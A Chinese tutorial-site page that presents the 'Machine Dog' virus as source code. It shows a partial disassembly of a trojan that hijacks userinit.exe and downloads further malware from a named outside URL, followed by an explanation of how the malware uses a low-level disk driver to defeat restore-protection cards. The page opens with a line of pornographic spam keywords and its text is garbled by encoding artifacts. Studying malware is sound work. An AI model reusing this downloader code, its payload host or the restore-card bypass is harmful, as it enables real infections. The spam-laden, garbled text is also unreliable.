不卡AV在线|网页在线观看无码高清|亚洲国产亚洲国产|国产伦精品一区二区三区免费视频

學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 病毒知識(shí) > 電腦病毒機(jī)器狗的源代碼

電腦病毒機(jī)器狗的源代碼

時(shí)間: 曉斌668 分享

電腦病毒機(jī)器狗的源代碼

  今天學(xué)習(xí)啦小編要跟大家介紹下電腦病毒的源代碼,下面就是學(xué)習(xí)啦小編為大家整理到的資料,請(qǐng)大家認(rèn)真看看!

  電腦病毒的源代碼(學(xué)習(xí)啦小編這里就以機(jī)器狗病毒的代碼為例)

  機(jī)器狗病毒入侵源碼

  0040045A > $ 55 push ebp ; (初始 cpu 選擇)

  0040045B . 8BEC mov ebp,esp

  0040045D . 81C4 E8FEFFFF add esp,-118

  00400463 . 68 9C0A4000 push userinit.00400A9C ; /user32.dll

  00400468 . E8 55020000 call ; \LoadLibraryA

  0040046D . 0BC0 or eax,eax

  0040046F . 74 11 je short userinit.00400482

  00400471 . 68 A70A4000 push userinit.00400AA7 ; /loadremotefonts

  00400476 . 50 push eax ; |hModule

  00400477 . E8 34020000 call ; \GetProcAddress

  0040047C . 0BC0 or eax,eax

  0040047E . 74 02 je short userinit.00400482

  00400480 . FFD0 call eax ; USER32.LoadRemoteFonts

  00400482 > 8D45 FC lea eax,dword ptr ss:[ebp-4]

  00400485 . 50 push eax ; /pHandle

  00400486 . 68 19000200 push 20019 ; |Access = KEY_READ

  0040048B . 6A 00 push 0 ; |Reserved = 0

  0040048D . 68 B70A4000 push userinit.00400AB7 ; |software\microsoft\windows nt\currentversion\winlogon

  00400492 . 68 02000080 push 80000002 ; |hKey = HKEY_LOCAL_MACHINE

  00400497 . E8 5C020000 call ; \RegOpenKeyExA

  0040049C . 0BC0 or eax,eax //打開(kāi)注冊(cè)表檢測(cè)winlogon鍵值

  0040049E . 75 48 jnz short userinit.004004E8

  004004A0 . C745 F8 04010000 mov dword ptr ss:[ebp-8],104

  004004A7 . 68 04010000 push 104 ; /Length = 104 (260.)

  004004AC . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

  004004B2 . 50 push eax ; |Destination

  004004B3 . E8 16020000 call ; \RtlZeroMemory

  004004B8 . 8D45 F8 lea eax,dword ptr ss:[ebp-8]

  004004BB . 50 push eax ; /pBufSize

  004004BC . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

  004004C2 . 50 push eax ; |Buffer

  004004C3 . 6A 00 push 0 ; |pValueType = NULL

  004004C5 . 6A 00 push 0 ; |Reserved = NULL

  004004C7 . 68 960A4000 push userinit.00400A96 ; |shell

  004004CC . FF75 FC push dword ptr ss:[ebp-4] ; |hKey

  004004CF . E8 2A020000 call ; \RegQueryValueExA

  004004D4 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C]

  004004DA . 50 push eax ; /Arg1

  004004DB . E8 50FDFFFF call userinit.00400230 ; \userinit.00400230 CreateProcessA

  004004E0 . FF75 FC push dword ptr ss:[ebp-4] ; /hKey

  004004E3 . E8 0A020000 call ; \RegCloseKey

  004004E8 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms

  004004ED . E8 E8010000 call ; \Sleep

  004004F2 . 6A 00 push 0

  004004F4 . 8D45 F8 lea eax,dword ptr ss:[ebp-8]

  004004F7 . 50 push eax

  004004F8 . E8 13020000 call ;看網(wǎng)絡(luò)是否連接

  004004FD . 0BC0 or eax,eax

  004004FF . 75 02 jnz short userinit.00400503

  00400501 .^ EB E5 jmp short userinit.004004E8

  00400503 > 68 04010000 push 104 ; /Length = 104 (260.)

  00400508 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

  0040050E . 50 push eax ; |Destination

  0040050F . E8 BA010000 call ; \RtlZeroMemory

  00400514 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C]

  0040051A . 50 push eax ; /TempName

  0040051B . 6A 00 push 0 ; |Unique = 0

  0040051D . 6A 00 push 0 ; |Prefix = NULL

  0040051F . 68 940A4000 push userinit.00400A94 ; |.

  00400524 . E8 93010000 call ; \GetTempFileNameA ;生成下載病毒列表得文件名

  00400529 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms

  0040052E . E8 A7010000 call ; \Sleep

  00400533 . 68 88130000 push 1388 ; /Arg3 = 00001388

  00400538 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

  0040053E . 50 push eax ; |Arg2

  0040053F . 68 ED0A4000 push userinit.00400AED ; |http://2.joppnqq.com/test.cer ; ;病毒列表

  00400544 . E8 2CFDFFFF call userinit.00400275 ; \userinit.00400275 ;里面事下載并讀取病毒列表下載病毒~

  00400549 . 0BC0 or eax,eax

  0040054B . 0F84 17010000 je userinit.00400668

  00400551 . C705 900A4000 00000000 mov dword ptr ds:[400A90],0

  0040055B . 6A 00 push 0 ; /hTemplateFile = NULL

  0040055D . 6A 00 push 0 ; |Attributes = 0

  0040055F . 6A 03 push 3 ; |Mode = OPEN_EXISTING

  00400561 . 6A 00 push 0 ; |pSecurity = NULL

  00400563 . 6A 00 push 0 ; |ShareMode = 0

  00400565 . 68 00000080 push 80000000 ; |Access = GENERIC_READ

  0040056A . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; |

  00400570 . 50 push eax ; |FileName

  00400571 . E8 16010000 call ; \CreateFileA

  00400576 . 83F8 FF cmp eax,-1

  00400579 . 0F84 E2000000 je userinit.00400661

  0040057F . 8985 F0FEFFFF mov dword ptr ss:[ebp-110],eax

  00400585 . 6A 00 push 0 ; /pFileSizeHigh = NULL

  00400587 . FFB5 F0FEFFFF push dword ptr ss:[ebp-110] ; |hFile

  0040058D . E8 18010000 call ; \GetFileSize

  00400592 . 83F8 0F cmp eax,0F

  00400595 . 73 0D jnb short userinit.004005A4

  00400597 . FFB5 F0FEFFFF push dword ptr ss:[ebp-110] ; /hObject

  0040059D . E8 E4000000 call ; \CloseHandle

  ......................................................................................................................

  00400676 . 6A 64 push 64 ; /Timeout = 100. ms

  00400678 . E8 5D000000 call ; \Sleep

  0040067D .^ EB EE jmp short userinit.0040066D

  0040067F > 6A 00 push 0 ; /ExitCode = 0

  00400681 . E8 1E000000 call ; \ExitProcess

  很精典呀,,里面涉及到了在匯編下如何操作注冊(cè)表,從指定網(wǎng)址下載文件到臨時(shí)文件第三節(jié):機(jī)器狗病毒入侵原理

  機(jī)器狗原理:

  建立磁盤(pán)底層驅(qū)動(dòng)。

  1.校驗(yàn)IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,則把高16位設(shè)置為0,這個(gè)過(guò)程和還原軟件的原理是一樣的,就是對(duì)OE的HOOK檢驗(yàn)。

  2.給自己找個(gè)位置,查找驅(qū)動(dòng)資源中的1000/1000,然后COPY到ALLOVER緩沖區(qū)中。

  3.建立物理磁盤(pán)PhysicalHardDISK0的\Device----DosDevices的底層借口,針對(duì)“IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”響應(yīng)。“IRP_MJ_CREATE”斷開(kāi)\Device\Harddisk0\DR0-1上的附屬部件。從而使磁盤(pán)OS層提供的應(yīng)用層文件系統(tǒng)鑒聽(tīng)校驗(yàn)失效。

  然后通過(guò)“I_M_C ”中恢復(fù)DR0-1上的附加。并在I_M_D_C中對(duì)0x0004f8E——0xF0003C0F作出響應(yīng),把ALLOVER緩沖區(qū)中找到的數(shù)據(jù)解密并返回應(yīng)用層。通過(guò)KEY-s查表產(chǎn)生密鑰。0x0004f8E——0xF0003C0F字段會(huì)將用戶態(tài)代碼作為源基,對(duì)其運(yùn)算后得到字串KEY,用來(lái)對(duì)源驅(qū)動(dòng)解密后,反還給用戶層。

  在這個(gè)過(guò)程中,有個(gè)大家比較熟悉的截面,就是系統(tǒng)由于磁盤(pán)底層驅(qū)動(dòng)校驗(yàn)不成功而出現(xiàn)的藍(lán)屏截面,最常見(jiàn)的是初始值0x0004f8E,比如,早期的SATAⅠ在保護(hù)卡狀態(tài)下出現(xiàn)物理壞道(0%—1%),就是這個(gè)藍(lán)屏代碼。很多由于用戶態(tài)的軟件安裝不當(dāng),引起的藍(lán)屏也出現(xiàn)在這一區(qū)段中。在解除DR0-1上的附屬部件時(shí),出現(xiàn)邏輯性錯(cuò)誤就導(dǎo)致大家常見(jiàn)的中機(jī)器狗后的藍(lán)屏。多見(jiàn)于多處理器平臺(tái)。一般的PC是不會(huì)出現(xiàn)這個(gè)錯(cuò)誤的,也就是說(shuō),大多數(shù)中招后都能正常使用,就是木馬多多,呵呵。

  繼續(xù)正題,以上過(guò)程反映到IE上是這樣的:1.釋放底層驅(qū)動(dòng)程序(比如變種前的PCIHDD.SYS)或者高位數(shù)用戶態(tài)臨時(shí)驅(qū)動(dòng)(變種后,可以有可執(zhí)行程序引導(dǎo),如“Usrinit.exe”)

  2.定位WINDOWS系統(tǒng)中的userinit.exe。(通過(guò)MBR和第一引導(dǎo)扇區(qū)參數(shù)來(lái)定位文件磁盤(pán)矢量偏移。)

  3.并校驗(yàn)RF文件與地位后讀取的數(shù)據(jù)位置的正確性。

  4.將獲取的代碼參數(shù)返回給底層驅(qū)動(dòng),控制0x0004f8E——0xF0003C0F段為,最后將返回值(TQ)直接寫(xiě)入userinit.exe數(shù)據(jù)所在的第一蔟。這里要大家特別注意以下,通過(guò)用戶態(tài)的shell調(diào)用,作者只需一點(diǎn)變動(dòng),就可以隨即抓取用戶態(tài)引導(dǎo)文件,所以,目前的改名設(shè)權(quán)限都是沒(méi)用的。

  甚至,他可以把這個(gè)過(guò)程省略,象凈網(wǎng)先鋒那樣,把Shell進(jìn)程寫(xiě)入動(dòng)態(tài)連接庫(kù)。那么,還原就沒(méi)用了。還會(huì)帶來(lái)網(wǎng)絡(luò)負(fù)載問(wèn)題,可能是作者比較仁慈吧。

  好了,分析了以上的過(guò)程,解決的辦法就出來(lái)了,就是要通過(guò)對(duì)操作系統(tǒng)的內(nèi)核編譯,將他所定位的目的地址占據(jù),這樣,除非是格式化,否則,任何操作的不會(huì)在底層奪取該位置。(不要問(wèn)權(quán)限問(wèn)題,在底層是沒(méi)有這個(gè)說(shuō)法的,先入為主。)

  這篇是講得比較專業(yè)點(diǎn)兒的,基本上把機(jī)器狗如何在底層獲取控制權(quán)限過(guò)程都講解了。

  夾并啟動(dòng)運(yùn)行,以及如何調(diào)用系統(tǒng)級(jí)動(dòng)態(tài)。

383434